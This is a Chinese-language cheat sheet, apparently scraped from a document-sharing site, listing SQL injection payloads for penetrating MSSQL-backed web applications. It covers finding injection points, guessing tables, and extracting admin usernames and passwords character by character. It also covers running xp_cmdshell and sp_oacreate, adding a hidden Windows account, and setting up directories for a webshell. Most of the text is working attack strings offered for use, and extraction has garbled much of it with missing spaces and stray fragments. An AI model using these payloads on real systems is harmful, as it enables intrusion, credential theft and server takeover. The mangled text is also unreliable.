渗透常用SQL注入语句大全
- 格式:docx
- 大小:36.22 KB
- 文档页数:8
1.判断有无注入点
;and1=1and1=2
2.猜表一般的表的名称无非是adminadminuseruserpasspassword 等..
and0<>(selectcount(*)from*)
and0<>(selectcount(*)fromadmin)—判断是否存在admin 这张表
3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个 and0<(selectcount(*)fromadmin)
and1<(selectcount(*)fromadmin)
4.猜解字段名称在len()括号里面加上我们想到的字段名称.
1 2 3 and 1=(selectcount(*)fromadminwherelen(*)>0)–
and 1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)
and 1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0) 5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止
1 2 3 4 5 6 7 8
and 1=(selectcount(*)fromadminwherelen(*)>0)
and 1=(selectcount(*)fromadminwherelen(name)>6)错误
and 1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6
and 1=(selectcount(*)fromadminwherelen(name)=6)正确
and 1=(selectcount(*)fromadminwherelen(password)>11)正确
and 1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12 and 1=(selectcount(*)fromadminwherelen(password)=12)正确
6.猜解字符
and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位 and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC 码就OK.最后把结果再转换成字符.
1 2 3 4 5 6 7 8 9 =1
,,,=1–
;insertintousersvalues(666,attacker,foobar,0xffff )–
UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab le-
UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab leWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id)-
UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab leWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id,login_blank>_name)- UNIONSelectTOP 1login_blank>_nameFROMlogintable-
UNIONSelectTOP 1passwordFROMlogintablewherelogin_blank>_name=Rahul – 看_blank>服务器打的补丁=出错了打了SP4补丁
and1=(select@@VERSION)–
看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin 权限。
and1=(SelectIS_blank>_SRVROLEMEMBER(sysadmin))–
判断连接_blank>数据库帐号。(采用SA 账号连接返回正常=证明了连接账号是SA )
1 2 3 andsa=(SelectSystem_blank>_user)–
anduser_blank>_name()=dbo –
and 0<>(selectuser_blank>_name()–
看xp_blank>_cmdshell 是否删除
and1=(Selectcount(*)FROMWherextype=XANDname=xp_blank>_cmdshell)–
xp_blank>_cmdshell 被删除,恢复,支持绝对路径的恢复
;EXECxp_blank>_cmdshell,–
;EXECxp_blank>_cmdshell,c:\inetpub\wwwroot\–
反向PING 自己实验
;usemaster;declare@sint;execsp_blank>_oacreate
“”,@sout;execsp_blank>_oamethod@s,”run ”,NULL,”cping
加帐号
;DECLARE@shellINTEXECSP_blank>,@shellOUTPUTEXECSP_blank>_OAMETHOD@shell,run ,null,C:\WINNT\system32\cnetuserjiaoniang$1866574/add –
创建一个虚拟目录E 盘:
;declare@ointexecsp_blank>,@ooutexecsp_blank>_oamethod@o,run,NULL,:
\inetpub\wwwroot\“默认Web 站点”-v “e ”,”e :\”–
访问属性:(配合写入一个webshell )
declare@ointexecsp_blank>,@ooutexecsp_blank>_oamethod@o,run,NULL,:
\inetpub\wwwroot\1/ROOT/e+browse
爆库特殊_blank>技巧::%5c=\或者把/和\修改%5提交
and0<>(selecttop1pathsfromnewtable)–
得到库名(从1到5都是系统的id ,6以上才可以判断)
and1=(selectnamefromwheredbid=7)–
and0<>(selectcount(*)fromwherename>1anddbid=6)
依次提交dbid=7,8,9….得到更多的_blank>数据库名
1 2 3 4 5 6 7 8 9 and 0<>(selecttop 1namefromwherextype=U)暴到一个表假设为admin
and 0<>(selecttop 1namefromwherextype=Uandnamenotin(Admin))来得到其他的表。 and 0<>(selectcount(*)fromwherextype=Uandname=admin
anduid>(str(id)))暴到UID 的数值假设为uid=id
and 0<>(selecttop 1namefromwhereid=)得到一个admin 的一个字段,假设为user_blank>_id
and 0<>(selecttop 1namefromwhereid=andnamenotin
(id,…))来暴出其他的字段
and 0<(selectuser_blank>_idfromwhereusername>1)可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_idusername,password 等字段
1 2 3 4 and 0<>(selectcount(*)fromwherename>1anddbid=6)
and 0<>(selecttop 1namefromwherextype=U)得到表名
and 0<>(selecttop 1namefromwherextype=Uandnamenotin(Address))
and 0<>(selectcount(*)fromwherextype=Uandname=adminanduid>(str(id)))判断